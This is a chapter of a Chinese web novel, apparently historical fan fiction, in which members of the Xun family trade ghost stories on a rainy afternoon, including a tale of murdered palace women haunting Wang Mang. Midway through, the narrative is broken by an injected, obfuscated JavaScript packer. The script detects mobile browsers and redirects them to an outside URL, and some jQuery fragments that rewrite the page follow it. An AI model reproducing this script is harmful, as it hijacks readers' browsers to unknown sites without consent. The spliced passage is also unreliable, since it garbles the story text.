风雨如晦,烛影憧憧,的确是个适合干点坏事的环境。
荀愔的提议离奇且跳跃,但荀衍看看已经被处理得差不多的文书,觉得反正现在还在下雨,出去会沾湿鞋袜,又还不到餔食的时间,那在此待上一会儿也不错?
在座的俱是博闻强识之人,即便是两个年纪稍小一些的孩子平日也有聪慧之名,写策论还有些稚嫩,编些故事却是不成问题的。
荀琨对于这些游乐之事一向热衷,当下兴致勃勃道:“我第一个来!”
他所讲述的故事发生在先秦时期,一户士大夫家中。
“因为这位士大夫是宋国人,所以不如我们叫他宋甲。宋甲的父亲是位将军,因为征战受伤早早去世,他死前最后一次上战场时,带回来一个美貌女子,纳为妾室,然而成婚不过三日就因旧伤复发死去,这美貌女子因而一夕之间做了寡妇。”
荀衍眉梢微动,这个开头……他瞪了一眼荀琨,这里还有两个孩子,荀攸、荀虑也还尚未及冠,你小子讲故事给我注意一些!
荀琨轻咳几声,连忙表清白:“故事里绝对没有违反伦理的事,我不是要讲这个!”
荀衍这才放下心,示意他继续。
“宋甲是个君子,也是个孝子,我保证绝对没看上他的庶母!但因宋父已经去世,这女子在宋家并无子嗣,所以宋甲有意送其还家再嫁,可这女子却拒绝了,理由是她腹中已经有了宋父的孩子。
“这当然是一件好事,这女子自此留在宋家待产,肚皮一日日涨了起来,不过五月,肚子便如要临产一般,众人都说她腹中所怀必定是双生子。可宋甲却渐渐起了疑心。
“不因其他,只因寻常妇人怀一个孩子就已经足够辛苦,可这女子明明身怀双胎,却脸色红润如常,连行动间也略无困难,健步如飞。当然,只凭一点,并不足以证明女子的怪异,万一她只是体质格外好些呢?
“但接下来发生的事情却绝对违反了人的常识。”
荀琨神神秘秘道:“你们猜,是发生了什么?”
诸荀面无表情看着他,脸上表露出的意思出奇一致。
要讲就讲,卖什么关子!
“啧,好没意思啊你们。”荀琨对兄弟们的不捧场表示了十足的嫌弃。
“原是这女子突有一日,肚皮突然瘪了下去,像是从未怀过孩子一般,宋甲追问她时,她却面露茫然,称自己从未怀孕。
“宋甲于是拉着她去寻其他人对质,然而那些见过女子孕肚的人也齐齐表示,夫人从未怀孕,莫不是主君记错了,或梦魇了吧。
“第一个人这样说时,宋甲尚且可以激烈辩驳,可当第十个人也这样说时,宋甲也不由得对自己的记忆产生了怀疑。难道真是自己记错了?”
荀琨不死心,想寻求一些互动:“你们猜,是宋甲记错了,还是那女子有问题?”
荀虑以正常思路回答:“三人成虎,人言不可尽信,是那女子有问题。”
荀衍刻意反其道而行之:“世上有一种痴病,得病者会假想一些从未存在过的事物,也有可能宋甲正是得了此病。是宋甲存在问题。”
荀攸细细思量:“或许其中存在些未知的阴谋。那女子进门三日,丈夫便病逝,这样短的时间里纵使日日相对,怀孕几率何其渺小,或许她本就无孕,只是想凭借这个理由留在宋家。
“如此可以解释她为何会在怀孕后仍面色红润,健步如飞。至于其余那些人……或者是买通了,或者是知道实情,帮着女子隐瞒了事实。”
荀彧:“若按公达思路,事情也可以是宋甲暗害那女子,指使他人改口,而女子为了自保,只好顺从他意。虽然怀琛兄长说其是君子,然君子未必不会改变,家产、族荫都有可能成为他痛下杀手的理由。”
荀琨没想到几人居然能给出意料之外的答案,笑着看向荀愔。
“阿昭?只有你没说话了,你觉得呢?”
荀愔问:“需要和几位亲人不一样吗?”
荀琨感兴趣道:“这故事还有其他可能性?”
“嗯,有的。”荀愔点头,“这是个鬼故事,故事中的任何人都有可能是那个鬼,故而故事外的人猜女子是鬼,猜宋甲是鬼,猜改口称女子从未怀孕的其他人是鬼,唯独忘了一个已经成为真鬼的人——宋父。
“宋父能为儿子挣下士大夫之位,必然功勋卓著,这样的一位将军为何在战场纳妾,又为何纳妾短短三日后就旧疾复发,如果较真地想一想,其实都极为可疑,若只论其余可能,为何不能是宋父自知即将死去,怀着利用之心寻了这女子,又在死后还魂,寄托在女子身上,蒙蔽了其余人的认知呢?“
荀琨拊掌大笑:“比起诸位的猜测,我原来准备的结局居然毫无光彩,想来只觉味同嚼蜡了啊。”
荀虑好奇:“所以原本的后续是什么?”
“女子有问题,她原是战场怨魂,迷惑宋父之后害其性命,又欲害宋甲性命。”
这倒是不出众人所料。
“下一个谁来?”
一个令人意外的人举起了手。
荀攸:“我来。”
荀攸的故事发生在王莽当政时期,那时他尚且保留了一分谦恭谨慎,受封“安汉公”。
“高祖斩白蛇起义,自号赤帝子,兴炎汉四百年,绵延至今,其间虽有宵小妄图逆天而行,篡夺……”
“咳咳。”荀琨轻咳,提醒荀攸,“公达,讲重点,我们这是鬼故事会,不是讲史会。这里都是家里人,不必要的铺垫和免责声明可以少一些。”
“好。”荀攸从善如流,直接砍去这节,直入主题道,“王莽既起,常宿于宫闱内院,行止狂妄,沾染宫中无辜女子。“
虽然觉得荀攸不是不靠谱的人,但听见这么个开头,荀衍还是不得不出声提醒:“公达,我们这儿还有两个孩子,荀虑还未加冠。”
绿色,讲故事务必要呵护未成年人身心,绿色啊!
荀攸点头:“我了解,故事里没有违反纲常的内容,王莽确实看上了宫女,但我们可以安排他不能人道。”
荀愔:“……”
荀彧:“……”
荀虑:“……”
对于这段荀攸临时加的补丁,满意的只有荀衍。
荀攸继续道:“王莽不能人道还看上宫女,行径更为可恶,反抗其暴行的宫女不计其数,尽皆无辜惨死,被因不能得手而行事愈发酷烈的王莽斩首,埋在宫墙之下。”
荀琨吐槽:“他不行他还有理了,果然可恶!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412179|200684||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“这是重点吗,这是重点吗!荀怀琛你给我闭嘴!”荀衍暴躁捂嘴,手动封号。
“经年累月,宫墙之下是重重白骨,怨气冲天。王莽篡汉之后的某一日,暴雨降临了京都长安,雨水三日不绝,淅淅沥沥,淅淅沥沥……
“听,就像窗外这样,一点,一点……冲刷出了墙根下的森森白骨。”
荀攸是个讲故事的好手,尤其擅长结合现实烘托气氛,“白骨”二字一出,荀愔感到自己的衣袖一紧,显然是被一旁的荀彧捏住了。
“那些白骨生前俱是红粉佳人,死后却也不过是一具具骷髅,她们有些还残存几分皮肉,空洞的眼眶里无声地注视着苍天,控诉着不公,有的却已经腐败成一堆骨头。
“她们的出现惊动了王莽,他随即命人连夜埋尸,甚至从宫外运来土,想要把尸骨回填,然而不论他们前一日如何努力,第二日的白骨总会在大雨的冲刷之下再度露出地表。
“淅淅沥沥,淅淅沥沥,长安的大雨像是没有停歇,终于!”
荀愔衣袖再次一紧,他这次不能当做没发现了,一只手默默摸了过去,把自己已经满是褶皱的袖角从弟弟手里抠出来,然后握住了他的手。
荀彧低垂的眼睫抖动一瞬,然后默默回握。
公达真坏啊,荀愔想,他简直是把控人心的一把好手。
“绵延的宫墙渗出了黑血,像是无数个女鬼的血泪汇聚在一起,在宫墙上形成了四个字——篡汉者亡。”
突如其来的政治正确把还沉浸在恐怖故事气氛里的众人给打了个措手不及。
啊这,阴间故事里突如其来的汉臣正气是怎么回事?!
众人无语凝噎,看着荀攸面北而拜,道一声“苍天佑我大汉”后重新回到席位,讲述接下来的故事。
“谶言的出现终于激怒了王莽,他连夜拆了宫墙,又将尸骨全部丢出宫去,原以为可以就此得到安宁,岂料没了白骨,没了血墙,却是真正噩梦的开始。
“宫里开始频频出现怪事,起先是有巡夜宫卫发现王莽寝宫之外时常出现人影,追到近前又总不见人,这事惊动了未央卫尉,卫尉于是派人埋伏在人影经常出现的地方守株待兔,终于在一个月圆之夜等到了人影,月光之下,那人影的一切清晰可见,到这时,宫卫们才惊恐地发现,她们……
“没、有、头。”
荀衍一个倒仰,差点把荀琨一并带倒,而荀虑则默默往叔父身边靠了靠,完全不敢继续和荀公达坐在一起了。
而荀愔,手差点断了。
“她们提着旧时的宫灯,成排结对地在王莽的寝殿游荡,倘若你再近前些,便可发现,她们提的哪里是宫灯啊,分明是一个个——”
荀攸语气放轻了,冲着荀愔的方向缥缥缈缈地吐出三个字:“美人头。”
“娘啊!”荀虑一个回头撞进荀衍怀里,吓得哭爹喊娘。荀衍差点没被侄子撞断了气,连忙制止荀攸。
“可以了!公达,故事讲到这里就可以了!”
荀攸保持正襟危坐的姿势,顺从地点头:“没事,我已经讲完了。”
荀愔转头看向荀彧,他倒还十分镇静,像是并未被这最后一记精神攻击波及到——假如自己的手没有被握到发白的话。